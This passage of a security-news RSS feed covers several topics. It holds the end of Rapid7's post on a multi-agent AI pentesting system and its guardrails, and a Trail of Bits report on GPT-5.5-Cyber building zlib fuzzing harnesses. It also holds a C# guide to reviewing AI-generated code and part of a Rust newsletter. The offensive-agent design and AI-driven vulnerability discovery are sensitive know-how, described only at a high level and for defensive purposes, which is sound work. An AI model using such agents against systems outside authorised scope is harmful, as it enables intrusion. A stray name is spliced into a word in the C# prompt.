autonomy</h2><p><span>The system isn't a single monolithic agent but a team of specialist agents coordinated by an orchestrator that mirrors how human red teams operate. The orchestrator doesn't test anything. It assesses the current state of the engagement, determines what needs to happen next, routes work to the appropriate specialist, and processes the results. Specialist agents handle enumeration, code review, dynamic testing, and reporting.Each with defined inputs, outputs, and constraints.</span></p><p><span>The architectural choice to use supervisor-style orchestration rather than a monolithic agent separates routing decisions from execution. This makes the system more predictable, auditable, and controllable,properties that matter when the agent is operating in sensitive environments.</span></p><p><span>The key design decision that made this work was methodological, not technical. We reverse-engineered the agent's architecture directly from our team's daily task lists. The to-do items our testers tracked during real engagements became the specification: which tasks repeat, in what sequence, where decisions branch, and what triggers a return to an earlier phase. The methodology we'd built over years of engagements became the orchestration logic.</span></p><h2>Scope decomposition: Giving every target full attention</h2><p><span>One of the earliest lessons we learned was that throwing an entire engagement scope at an AI agent produces shallow, scattered results. LLMs have finite context windows and finite attention. A complex application with dozens of endpoints, multiple authentication flows, and layered business logic overwhelms a single-pass analysis and important details get lost in the noise.</span></p><p><span>The solution was deliberate scope decomposition. Before the agent begins any technical work, the engagement scope is broken into discrete, manageable chunks.  The scope includes individual components, feature areas, or functional boundaries. Each chunk flows through the full architecture independently: enumeration, code review, dynamic testing, and reporting. The orchestrator tracks which chunks are complete, which are in progress, and which are queued.</span></p><p><span>This achieves two things. First, it ensures depth over breadth as each component receives the agent's full analytical attention rather than competing for context space with everything else. Second, it creates natural parallelization opportunities and clear progress tracking. A tester can see exactly which areas have been thoroughly assessed and which remain.</span></p><p><span>The principal maps directly to how experienced pentesters already work by breaking the target into logical units, going deep on each one, then synthesizing across them. Making the principal explicit and enforceable in the orchestration logic was the design contribution.</span></p><h2>Feedback loops: Why linear pipelines fail</h2><p><span>Real penetration tests don't follow a straight line. Code review reveals new endpoints that need enumeration. Dynamic testing uncovers an attack surface that wasn't visible from source alone. Validated findings sometimes expose entirely new subsystems.</span></p><p><span>The agent handles this natively. The orchestrator maintains a routing table with progression gates — criteria that must be met before advancing — and feedback triggers that route the engagement backward when new actionable data emerges. This creates a directed graph with re-entry points, not a waterfall.</span></p><h2>Guardrails: Maintaining safety in a malicious context</h2><p><span>Building an AI agent that can hack is relatively straightforward but building one that operates safely within defined boundaries is a challenge. So it was an area where we invested significant design effort.</span></p><p><span>The system uses a tiered safety model:</span></p><ul><li><p><span>Scope enforcement — every action is validated against the engagement's authorized scope before execution. Out-of-scope discoveries are reported but never probed.</span></p></li><li><p><span>Action classification — before execution, every proposed dynamic test is categorized as non-destructive, destructive, or ambiguous. Destructive and ambiguous actions require human approval.</span></p></li><li><p><span>Human-in-the-loop by default — in our current deployment, a tester reviews and approves every dynamic test. The agent proposes; the human decides.</span></p></li></ul><p><span>The system is designed with a path toward semi-automated operation where low-risk, read-only actions execute autonomously while state-modifying operations still require human approval. The decision about where to sit on that spectrum is context-dependent. Internal labs can tolerate more autonomy while client engagements demand more oversight.</span></p><h2>Token efficiency: Making AI practical</h2><p><span>AI agents are expensive to run at scale. Every enumeration step, every code block analyzed, every HTTP request reasoned about will consume tokens. It is a practical concern that shaped several design decisions. </span></p><p><span>The approach was to identify mechanical tasks that don't require LLM reasoning and replace them with deterministic scripts and MCP servers. DNS lookups, header checks, input field probing, and certificate enumeration produce structured data that the agent consumes, but the data collection itself doesn't need intelligence. This reduced token consumption dramatically for enumeration-heavy phases while letting the AI focus its reasoning budget on analysis, correlation, and judgement.</span></p><p><span>Not every step in an AI workflow needs AI. Knowing where to draw that line was the difference between a demo and a production system for us.</span></p><h2>Securing AI from the inside out</h2><p><span>There's a dimension to this work that goes beyond offensive operations. Rapid7 builds AI-powered products. As the internal security team, we're responsible for securing those systems and building a complex multi-agent architecture gave us direct insight into where the weak points live.</span></p><p><span>Designing the orchestrated system taught us exactly how prompt injection can propagate between agents, where trust boundaries blur when one agent's output becomes another's input, how guardrails can be bypassed through indirect manipulation, and what happens when scope enforcement relies on instruction-following rather than programmatic controls.</span></p><p><span>We now test Rapid7's AI features with the same architectural intuition we developed building this system. We know where to look because we've built the same patterns and felt where they flex. When we assess an AI system's safety, we're thinking like the orchestrator — looking for the routing decision that can be subverted, the progression gate that can be skipped, the feedback loop that can be poisoned.</span></p><p><span>Building offensive AI made us materially better at defending the AI we ship to customers.</span></p><h2>What we learned operating the multi-agent system</h2><p><span>A few observations from our team:</span></p><h3><span>Methodology is the differentiator</span></h3><p><span>The LLMs are commodities. The orchestration patterns are emerging in open literature. What makes an AI agent effective at penetration testing is the methodology it follows and that's built from years of institutional knowledge. Formalizing our methodology into explicit, machine-executable logic was the most valuable part of the project.</span></p><h3><span>Building AI builds intuition for securing AI</span></h3><p><span>The architectural understanding we developed — trust boundaries, prompt propagation, scope enforcement failures — translates directly into more effective security assessments of production AI systems. This was an unexpected but significant return on the investment.</span></p><h3><span>The automation spectrum is context dependent</span></h3><p><span>Full autonomy isn't a goal; it's one end of a spectrum. The right level of automation depends on the context.Internal labs, client engagements, and product integrations each have different risk profiles. Designing for the spectrum rather than a fixed endpoint kept the system flexible.</span></p><h2>What's next for Rapid7 Red Teaming in the age of AI</h2><p><span>We're continuing to develop the system, refining the methodology mapping, expanding specialist capabilities, and exploring where purpose-built models could replace general-purpose LLM calls for specific tasks (such as severity classification, report writing, payload selection). We're also using what we learn from operating this system to inform how Rapid7 detects and responds to AI-enhanced offensive activity in the wild. </span></p><p><span>You can learn more about Vector Command, Rapid7's continuous red-teaming solution, </span><a href="https://www.rapid7.com/services/continuous-red-team-service" target="_self"><span>here</span></a><span>.</span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Incogni Review: Comprehensive and Transparent Data Removals]]></title>
<description><![CDATA[Incogni has wide-reaching coverage, but it lacks third-party efficacy testing data.]]></description>
<link>https://tsecurity.de/de/3641238/it-nachrichten/incogni-review-comprehensive-and-transparent-data-removals/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3641238/it-nachrichten/incogni-review-comprehensive-and-transparent-data-removals/</guid>
<pubDate>Thu, 02 Jul 2026 15:03:33 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Incogni has wide-reaching coverage, but it lacks third-party efficacy testing data.]]></content:encoded>
</item>
<item>
<title><![CDATA[Field reports from Patch the Planet]]></title>
<description><![CDATA[We’re running Patch the Planet, an ongoing collaboration with OpenAI that pairs Trail of Bits engineers directly with more than 30 open-source projects. Its goal is to front-run a serious problem facing open-source maintainers: highly capable models like GPT-5.5-Cyber will soon create a firehose ...]]></description>
<link>https://tsecurity.de/de/3640928/it-security-nachrichten/field-reports-from-patch-the-planet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3640928/it-security-nachrichten/field-reports-from-patch-the-planet/</guid>
<pubDate>Thu, 02 Jul 2026 13:23:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>We’re running <a href="https://trailofbits.com/patch-the-planet">Patch the Planet</a>, an ongoing collaboration with OpenAI that pairs Trail of Bits engineers directly with more than 30 open-source projects. Its goal is to front-run a serious problem facing open-source maintainers: highly capable models like GPT-5.5-Cyber will soon create a firehose of bug reports, and OSS maintainers are already spread thin. Our plan is to point OpenAI’s latest models at real codebases, find the security bugs first, work with maintainers to patch them, and find ways to decrease the burden on maintainers in the long run.</p>
<p>This post compiles field reports from Patch the Planet. We’ll update it as the initiative progresses with insights on model capabilities, bespoke tooling for maintainers, and industry guidance. Follow this blog for updates.</p>
<h2>Field report 1: GPT-5.5-Cyber built a custom fuzzing harness for zlib</h2>
<p><em>Authored by <a href="https://blog.trailofbits.com/authors/benjamin-samuels/">Benjamin Samuels</a></em></p>
<p>The expertise barrier that kept bespoke fuzzing campaigns out of reach for most attackers is gone. <strong>We watched GPT-5.5-Cyber build in a single day what would have taken weeks for a skilled security researcher</strong>: harnesses across a dozen entrypoints, sanitizer and variant builds, seeds, and multiple findings currently undergoing coordinated disclosure.</p>
<p>This particular instance focused on <a href="https://github.com/madler/zlib">zlib</a>, a widely used data format and lossless data compression software library. We pointed GPT-5.5-Cyber at the library and drove it through Codex with the <code>/goal</code> command, asking it to find a specific class of bugs that are critically dangerous in compression libraries. We’ll publish the full harness and findings for inspection once the vulnerabilities are patched and a new release is cut.</p>
<h3>The lab GPT-5.5-Cyber built in a day</h3>
<p>We didn’t tell the model how to find these bugs. The obvious first move is to read the source code, but zlib has been reviewed so thoroughly that there’s little left to find that way. GPT-5.5-Cyber worked that out for itself, judged static review to be a poor use of tokens, and decided the higher value path was to build fuzz tooling to dynamically test the code. Earlier models given the same goal tend to read the code and flag whatever looks suspicious, ultimately leading to mediocre outcomes.</p>
<p>We believe the frontier 5.5-Cyber model combined with the <code>/goal</code> feature is what let it execute end-to-end without hand-holding. <code>/goal</code> forced the objective to live across multiple turns and compactions so the model held scope, and 5.5-Cyber was smart enough to reject weak findings, expand coverage when a line of investigation died, and keep running until it had workable proof-of-concepts backed by sanitizer output.</p>
<p>Over the next several hours, it built the campaign out one piece at a time:</p>
<ul>
<li>It used ASan and UBSan builds so memory errors became observable.</li>
<li>It repurposed existing edge-case tests as guidance for the fuzz seed corpus.</li>
<li>It wrote C/C++ harnesses across a dozen entrypoints, including inflate, inflateBack, uncompress2, gzFile, MiniZip, puff, blast, infback9, gzjoin, gzappend, and several contrib stream wrappers.</li>
<li>It used compile-time variant builds (<code>INFLATE_STRICT</code>, <code>BUILDFIXED</code>, <code>PKZIP_BUG_WORKAROUND</code>, etc.) to reach code that the default zlib build hides.</li>
</ul>
<p>Each of these decisions is routine on its own, but stringing them together in the right order across a dozen entrypoints, without being handed the steps, is a relatively large shift in how capable frontier models are.</p>
<p>While zlib already has fuzzing coverage from its OSS-Fuzz harness, GPT-5.5-Cyber went beyond the default harness shape, which passes random inputs to the gz* APIs. Instead of directly fuzzing the gz* APIs, its most successful harness found bugs in valid gz* states that could only be constructed by operating system backpressure.</p>
<h3>Reporting discipline is the hard part</h3>
<p>In general, models tend to struggle with deciding when a finding is severe enough to justify escalating it into reporting. Weaker models tend to escalate bugs that cause the program to crash, but are not reachable under real-world conditions. Early on, GPT-5.5-Cyber hit a null callback crash in <code>inflateBack</code>. The crash was real, but reaching it required a caller to set up a state that was extraordinarily unlikely in real-world conditions, so the model logged it as unreachable and moved on. This agent kept going without human intervention and found several higher-impact issues.</p>
<p>That discipline is the whole game. The value of the zlib harness came from automation plus <strong>a strict definition of what counted as a reportable finding</strong>. Without strong validity rules baked into the goal and a model truly capable of evaluating those rules, the agent will generate mountains of noise with high confidence: invalid uses of the public API, expected parser errors, internal API misuse, etc.</p>
<h3>The moat is gone</h3>
<p>Setting up a bespoke fuzzing campaign used to mean finding someone who could write harnesses, reason about valid API state, and differentiate between a bug and a crash that can’t happen in practice. This asymmetry kept casual attackers out of the game for most targets.</p>
<p>That moat is mostly gone now, and it shifts the threat model in two directions at the same time. For a skilled researcher, it is a force multiplier: the weeks-long tax on every new target drops to a day or less, so the same person can audit far more code. For a low-skill attacker, the floor rises: the tedious, expertise-heavy work of getting a harness off the ground can now be driven by starting a goal and supervising the loop.</p>
<p>For anyone shipping security-critical code, the practical takeaway is clear. Bespoke fuzzing is no longer a luxury reserved for projects with mature OSS-Fuzz coverage, and it is no longer expensive for the people whom you would rather not have running it. The defensive move is to do it first, with the validity rules that turn agent output into a high-signal source you can act on.</p>
<h3>Lessons learned</h3>
<p>The fuzzing lab answered the question we came in with and left us a much bigger one. We didn’t ask GPT-5.5-Cyber to build a fuzzing campaign; it decided that was the job and did it. The thing worth watching for now is what else these new models will reach for once you hand them a goal and step back, especially the approaches we would never have thought to ask for before.</p>
<p>That is also why the front-running work being done by Patch the Planet matters. Every new capability that helps us find bugs faster is just as available to an attacker, so the advantage goes to whoever finds the bugs and fixes them first.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Best practices for using AI to generate C# code]]></title>
<description><![CDATA[AI-powered software development tools integrate with your IDE and codebase, helping you to write, refactor, and fix code faster. These tools also make it fast and easy to create and run unit tests and integration tests — tasks that take more time when done manually.



Today, .NET developers ofte...]]></description>
<link>https://tsecurity.de/de/3640601/ai-nachrichten/best-practices-for-using-ai-to-generate-c-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3640601/ai-nachrichten/best-practices-for-using-ai-to-generate-c-code/</guid>
<pubDate>Thu, 02 Jul 2026 11:04:37 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>AI-powered software development tools integrate with your IDE and codebase, helping you to write, refactor, and fix code faster. These tools also make it fast and easy to create and run unit tests and integration tests — tasks that take more time when done manually.</p>



<p>Today, .NET developers often use <a href="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html" data-type="link" data-id="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html">GitHub Copilot</a>, <a href="https://www.infoworld.com/article/4136718/claude-code-is-blowing-me-away.html" data-type="link" data-id="https://www.infoworld.com/article/4136718/claude-code-is-blowing-me-away.html">Claude Code</a>, Cursor AI, and even AI chatbots like ChatGPT to generate code. In this article, we’ll cover some best practices you should follow when using AI to generate your C# code.</p>



<h2 class="wp-block-heading">Challenges of using AI-generated code</h2>



<p>While AI can write code for you, often the generated code does not work as intended. AI may generate code that contains logic errors, bugs, or security vulnerabilities, or code that doesn’t conform to your organization’s coding conventions or quality standards, or code that isn’t compatible with existing architecture. Further, AI may generate code that runs slowly or fails to run at all.</p>



<p>These are some of the key challenges organizations face when using AI-generated code in production:</p>



<ul class="wp-block-list">
<li>Inconsistency: The quality of AI-generated code can vary widely because the same generative AI prompt can produce different results, making it impossible to trust the code until it has been reviewed.</li>



<li>Security: The potential for AI-generated code to generate insecure code is significant, because models are trained on open-source code that contains security vulnerabilities including weak/unsafe validation, injection patterns, hard-coded secrets, memory safety issues, and outdated dependencies.</li>



<li>Accountability: AI-generated code often creates an accountability gap because organizations find they have limited visibility into how AI-assisted code was generated, approved, and tested.</li>



<li>Contextual concerns: Because your AI-powered tool may not have access to project-specific conventions, abstractions, or business rules, the code it generates may not conform to the standards of your organization’s codebase.</li>



<li>Overengineering: AI models can produce large amounts of unnecessary code and create additional layers of abstraction, making the code more complex and more difficult to understand and maintain.</li>



<li>Error handling: Often, AI-generated code succeeds in creating the required logic based on the “happy path” of an application, but does not create sufficient or adequate recovery, retry, or validation logic. Additionally, AI-generated code may not incorporate proper error handling mechanisms.</li>



<li>Technical debt: The sheer amount of generated code can require additional resources for reviewing, cleaning, refactoring, and debugging the code after the fact, as well as for maintaining the code in the future.</li>
</ul>



<h2 class="wp-block-heading">Best practices for using AI to write code</h2>



<p>Here are some of the best practices you should follow when writing code using AI-powered tools:</p>



<h3 class="wp-block-heading">Write clear and specific prompts</h3>



<p>To get the best use of AI-assisted coding tools, you should be proficient in prompt engineering. Your prompts should be specific, concise, and contain relevant code examples to enable your AI-powered tools to generate code that is functional, meets the requirements, and conforms to the standards and guidelines. Most importantly, you should plan precisely on the architecture and design, the exact solution you need, the structure of the codebase, and the coding and design guidelines to follow.</p>



<h3 class="wp-block-heading">Use AI as a peer programmer</h3>



<p>You should always treat AI as a peer programmer and your (junior) coding assistant. You should always review code the AI generates for you, run tests, and perform audits to validate correctness, conformance to guidelines and standards, performance and scalability bottlenecks, and security vulnerabilities. Based on the outcome of the audit, you should refactor your AI-generated code accordingly. And, repeat this cycle iteratively — audit followed by refactoring (if required) — until you are satisfied with the code.</p>



<h3 class="wp-block-heading">Favor quality over speed</h3>



<p>Your application source code should be performant, scalable, secure, extendable, and easy to comprehend and maintain. One of the biggest challenges of using AI-generated code is ensuring it meets requirements and conforms to the guidelines and standards of your organization without compromising on performance, scalability, and security.</p>



<p>AI can generate code for you quite quickly, but the onus is on you to understand how the code works, investigate it for any flaws, test it thoroughly, and change it if and when it is needed. You must be sure to understand the code in its entirety. Unless you comprehend the code, you will never be able to improve or extend it when you need to.</p>



<p>And you must never compromise quality for speed. If you use AI as a shortcut, your code may fail when deployed to the production environment — and that would be a disaster. </p>



<h3 class="wp-block-heading">Provide the right context</h3>



<p>The code your AI-powered tool generates for you will be more useful to you if you’ve provided the right context. You should provide your AI coding tool with comprehensive, up-front information, such as architecture docs, coding standards, and relevant files, rather than just providing instructions using prompts. And you should add images or screenshots when specifying prompts to help your AI-powered tool better understand the context.</p>



<p>Your AI-generated code must be testable for best results. It is always a good practice to specify tests at the time when your AI-enabled tool generates code, as tests can help AI understand the expected behavior and produce code that better aligns with your expectations. Additionally, you should specify the exact goal, the current and/or target technology stack, the relevant code boundaries, and the definition of “done”, i.e., the desired outcome.</p>



<h2 class="wp-block-heading">Creating a Data Transfer Object using GitHub Copilot</h2>



<p>Remember, any AI-powered code generator is only as good as the input provided to it. This input is also known as the prompt. If the prompt you specify does not clearly state the objective, the generated code will not meet your requirements. Here is an example of a prompt that fails to consider performance and lacks clarity.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>Generate code to create a Product DTO having fields Id, Name, and Price</p>
</blockquote>



<p>When I entered this prompt into the GitHub Copilot Chat window, the following piece of code was generated. </p>



<pre class="wp-block-code"><code>public class Product
{
   public int Id { get; set; }
   public string Name { get; set; } = string.Empty;
   public decimal Price { get; set; }
   public Product() { }
   public Product(int id, string name, decimal price)
   {
       Id = id; Name = name; Price = price;
   }
}
</code></pre>



<p>Typically, a DTO (Data Transfer Object) should be created using records for improved performance instead of classes. Moreover, a DTO should be immutable by default, because its purpose is to store and pass data from the presentation layer to the business layer in an application. This not only guarantees thread safety but also prevents accidental changes to data and simplifies testability.</p>



<p>Now, let’s change the prompt as shown below and try again. </p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>Create an immutable Product DTO using C# that uses the record type, having fields Id, Name, and Price.</p>
</blockquote>



<p>When I entered the above prompt in GitHub Copilot Chat, a record type named ProductDto was created using a positional record as shown below. </p>



<pre class="wp-block-code"><code>public sealed record ProductDto(int Id, string Name, decimal Price);
</code></pre>



<h2 class="wp-block-heading">Creating a logging library using GitHub Copilot</h2>



<p>In this next example, we’ll use GitHub Copilot within the Visual Studio IDE. With GitHub Copilot up and running in our IDE, you can specify the following prompt for creating a logging library using GitHub CoPilot within the Visual Studio IDE:</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>Create an asynchronous logger using .NET 10 and C# 14 that:</p>



<ul class="wp-block-list">
<li>Stores logs asynchronously in a text file or a database</li>



<li>Uses a SQLite database for storing logs in a database</li>
</ul>



<p>The log target should be configurable, i.e., the storage target of the generated log can be a file, a database, or etc.</p>



<p>Create a separate class for each log target, i.e., FileLogger for storing logs in a file and DbLogger for storing logs in the databas<em>Dave Bermingham</em>e</p>



<p>Incorporate comprehensive error handling mechanism wherever applicable</p>
</blockquote>



<p>Figure 1 shows this prompt in GitHub Copilot (running in Visual Studio) and the files that Copilot generated for the project.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/AI-Csharp-GitHub-Copilot.png?w=373" alt="AI Csharp GitHub Copilot" class="wp-image-4191827" width="373" height="1023" sizes="auto, (max-width: 373px) 100vw, 373px"><figcaption class="wp-element-caption"><p>Figure 1</p>
</figcaption></figure><p class="imageCredit">Foundry</p></div>



<p>Once you have provided the prompt as input to Github Copilot, it will parse the input and generate several files in your project. Figure 2 shows the two projects in the Solution Explorer window — the console application project and the <code>AsyncLogger</code> class library project.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/AI-Csharp-Solution-Explorer.png?w=622" alt="AI Csharp Solution Explorer" class="wp-image-4191830" width="622" height="1024" sizes="auto, (max-width: 622px) 100vw, 622px"><figcaption class="wp-element-caption"><p>Figure 2</p>
</figcaption></figure><p class="imageCredit">Foundry</p></div>



<p>The <code>AsyncLoggerService</code> class uses the <code>System.Threading.Channel</code> static class to write logs of type <code>LogEntry</code> in the log target, which can be a text file or a database. The <code>System.Threading.Channel</code> class contains two methods to create channels, the <code>CreateBounded</code> and the <code>CreateUnbounded</code> methods.</p>



<p>While <code>CreateBounded</code> is used to create a channel that holds a finite number of messages, <code>CreateUnbounded</code> is used to create a channel with unlimited capacity. You can learn more about working with <code>System.Threading.Channel</code> from my earlier article <a href="https://www.infoworld.com/article/2263338/how-to-use-systemthreadingchannels-in-net-core.html">here</a>.</p>



<h2 class="wp-block-heading">Reviewing the AI-generated code</h2>



<p>Although GitHub Copilot will generate the complete source code of the <code>AsyncLogger</code> library for you, you should carefully examine — and thoroughly test — the generated code before you use it in production. For example, when I submitted the above prompt to Copilot, the code generated included three issues that needed to be addressed. Let’s take a look. </p>



<h3 class="wp-block-heading">Unbounded channel oops</h3>



<p>In the <code>AsyncLoggerService</code> class, GitHub Copilot included the following code that uses an <code>Unbounded</code> channel. </p>



<pre class="wp-block-code"><code>_channel = Channel.CreateUnbounded<logentry>(
    new UnboundedChannelOptions { SingleReader = true, SingleWriter = false });
</logentry></code></pre>



<p>There is a major flaw in this approach. If this code were used in production, memory consumption could surge dramatically under burst traffic (say, 10k or more requests per second). This growth in memory usage could result in GC pressure and eventually a crash of the application.</p>



<p>A better approach is to use a bounded channel with an explicit backpressure strategy, as shown in the code snippet given below.</p>



<pre class="wp-block-code"><code>_channel = Channel.CreateBounded<logentry>(new BoundedChannelOptions(10_000)
{
    FullMode = BoundedChannelFullMode.DropWrite // or Wait
});
</logentry></code></pre>



<h3 class="wp-block-heading">Fire-and-forget oops</h3>



<p>In the <code>LogAsync</code> method, GitHub Copilot included the following statement that contains a fire-and-forget call with no retries and no information if the write operation fails (i.e., if the channel is already closed).</p>



<pre class="wp-block-code"><code>_channel.Writer.TryWrite(entry);
</code></pre>



<p>A better approach is to include a fallback path as shown in the code snippet below.</p>



<pre class="wp-block-code"><code>if (!await _channel.Writer.WaitToWriteAsync())
{
    TryWriteFallback("Channel closed or unavailable");
    return;
}
await _channel.Writer.WriteAsync(entry);
private void TryWriteFallback(string text)
{
    try
    {
        var path = _config.FallbackFilePath ?? "fallback-errors.log";
        var dir = Path.GetDirectoryName(path);
        if (!string.IsNullOrEmpty(dir) &amp;&amp; !Directory.Exists(dir)) 
            Directory.CreateDirectory(dir);
        File.AppendAllText(path, $"[{DateTime.UtcNow:o}] {text}{Environment.NewLine}");
    }
    catch
    {
        // swallow - nothing else we can do
    }
}
</code></pre>



<p>The <code>WaitToWriteAsync</code> method returns true if space is available to write an item, false otherwise. Hence, if no space is available, the <code>TryWriteFallback</code> method will be called and the log written to the fallback-errors.log file.</p>



<p><strong>Using Sync over Async in a Constructor</strong></p>



<p>Finally, GitHub Copilot included the following piece of code in the constructor of the <code>AsyncLoggerService</code> class. </p>



<pre class="wp-block-code"><code>_target.InitializeAsync(_cts.Token).GetAwaiter().GetResult();
</code></pre>



<p>Using sync over async in a constructor in C# is considered an anti-pattern. The reason is because constructors cannot be asynchronous, i.e., you cannot mark a constructor as asynchronous using the <code>async</code> keyword. As a result, you will have to make blocking calls and wait for your asynchronous code to complete execution. And this could result in thread starvation and a deadlock.</p>



<p>A better alternative will be to move the initialization code out of the constructor as shown below. </p>



<pre class="wp-block-code"><code>public async Task InitializeAsync()
{
    await _target.InitializeAsync(_cts.Token);
}
</code></pre>



<h2 class="wp-block-heading">AI-generated code review checklist</h2>



<p>You should verify each item of the following checklist before you integrate AI-generated code into your application. </p>



<ul class="wp-block-list">
<li>Does the code address all specified requirements?</li>



<li>Is the code well-documented?</li>



<li>Are there any security vulnerabilities or security anti-patterns?</li>



<li>Does the code follow C# coding standards and guidelines?</li>



<li>Are the algorithms efficient as far as performance is concerned?</li>



<li>Is the code testable, extensible, and maintainable?</li>



<li>Is the code testable with proper abstractions?</li>



<li>Does the code check for security vulnerabilities such as SQL injection and XSS?</li>



<li>Does the code incorporate N + 1 queries or other inefficient data access approaches?</li>



<li>Does the code comply with naming conventions and code organization standards?</li>



<li>Does the code incorporate error handling, logging, input validation, and configuration?</li>



<li>Does the code use asynchronous programming approaches?</li>



<li>Does the code meet the desired code coverage expectations?</li>
</ul>



<h2 class="wp-block-heading">Takeaways</h2>



<p>AI can help you create all of your boilerplate code, provide suggestions for best practices, and greatly speed up your exploration and research efforts. However, you should remember that AI is not a replacement for human intelligence, experience, and innovation. You should treat your AI-powered coding tool as your coworker or assistant and not your replacement. </p>



<p>You should take advantage of AI to do all of the tedious, monotonous work so that you can concentrate on the architecture, innovation, and other aspects of software architecture and development that require human involvement. You can take advantage of AI to generate your application’s architecture and design as well. However, the generated architecture and design should be for your reference only — it is entirely on you to decide how much of it you should use and what you need to replace.</p>



<p>Here’s the final word: AI-powered coding tools will help you when you provide them with the correct context and clear instructions. Be sure to review the generated code carefully, and test thoroughly before deploying to production. Expect your AI coding tool to make mistakes, and be prepared to make changes (perhaps over many iterations) to get the performant, reliable, secure, and maintainable code that you need.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[This Week In Rust: This Week in Rust 658]]></title>
<description><![CDATA[Hello and welcome to another issue of This Week in Rust!
Rust is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
@thisweekinrust.bsky.social on Bluesky or
@ThisWeekinRu...]]></description>
<link>https://tsecurity.de/de/3640170/tools/this-week-in-rust-this-week-in-rust-658/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3640170/tools/this-week-in-rust-this-week-in-rust-658/</guid>
<pubDate>Thu, 02 Jul 2026 07:10:00 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hello and welcome to another issue of <em>This Week in Rust</em>!
<a href="https://www.rust-lang.org/">Rust</a> is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
<a href="https://bsky.app/profile/thisweekinrust.bsky.social">@thisweekinrust.bsky.social</a> on Bluesky or
<a href="https://mastodon.social/@thisweekinrust">@ThisWeekinRust</a> on mastodon.social, or
<a href="https://github.com/rust-lang/this-week-in-rust">send us a pull request</a>.
Want to get involved? <a href="https://github.com/rust-lang/rust/blob/main/CONTRIBUTING.md">We love contributions</a>.</p>
<p><em>This Week in Rust</em> is openly developed <a href="https://github.com/rust-lang/this-week-in-rust">on GitHub</a> and archives can be viewed at <a href="https://this-week-in-rust.org/">this-week-in-rust.org</a>.
If you find any errors in this week's issue, <a href="https://github.com/rust-lang/this-week-in-rust/pulls">please submit a PR</a>.</p>
<p>Want TWIR in your inbox? <a href="https://this-week-in-rust.us11.list-manage.com/subscribe?u=fd84c1c757e02889a9b08d289&amp;id=0ed8b72485">Subscribe here</a>.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-rust-community">Updates from Rust Community</a></h4>


<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#official">Official</a></h5>
<ul>
<li><a href="https://blog.rust-lang.org/2026/06/30/Rust-1.96.1/">Announcing Rust 1.96.1 | Rust Blog</a></li>
<li><a href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/">The many journeys of learning Rust | Rust Blog</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#foundation">Foundation</a></h5>
<ul>
<li><a href="https://rustfoundation.org/media/rust-foundation-trusted-training-program-launches-giving-learners-a-mark-of-quality-to-trust/">Rust Foundation Trusted Training Program Launches, Giving Learners a Mark of Quality to Trust</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#newsletters">Newsletters</a></h5>
<ul>
<li><a href="https://scientificcomputing.rs/monthly/2026-06">Scientific Computing in Rust #19 (June 2026)</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#projecttooling-updates">Project/Tooling Updates</a></h5>
<ul>
<li><a href="https://slint.dev/blog/slint-1.17-released">Slint 1.17 Released</a></li>
<li><a href="https://blog.antoyo.xyz/rustc_codegen_gcc-progress-report-42">rustc_codegen_gcc: Progress Report #42</a></li>
<li><a href="https://hovinen.me/announcements/2026/06/24/introducing-test-that.html">Introducing Test That!</a></li>
<li><a href="https://hovinen.me/announcements/2026/06/24/introducing-test-that.html">Introducing Test That!: A rich test assertion library for Rust from the original author of GoogleTest Rust</a></li>
<li><a href="https://github.com/shihuili1218/rssh/blob/main/docs/article_arch_en.md">Inside RSSH: one Rust crate, three binaries, and the Tauri lessons along the way</a></li>
<li><a href="https://github.com/Aleixenandros/Rustty/releases/tag/v1.38.0">Rustty 1.38 – accessibility &amp; keyboard nav</a></li>
<li><a href="https://www.willsearch.com.br/blog/2026/06/25/guardiandb-0-17-0-secure-namespaces-iroh-1-0-and-the-arrival-of-the-odm/">GuardianDB 0.17.0: Secure namespaces, Iroh 1.0, and the arrival of the ODM</a></li>
<li><a href="https://dev.to/iam_suriyan_b9078a5b3a553/building-a-real-time-voice-agent-runtime-in-rust-no-gil-one-binary-2000-calls-a-box-12ko">Building a real-time voice-agent runtime in Rust: no GIL, one binary, 2,000 calls a box</a></li>
<li><a href="https://aimdb.dev/blog/aimdb-bring-your-own-connector">AimDB: Bring Your Own Connector</a></li>
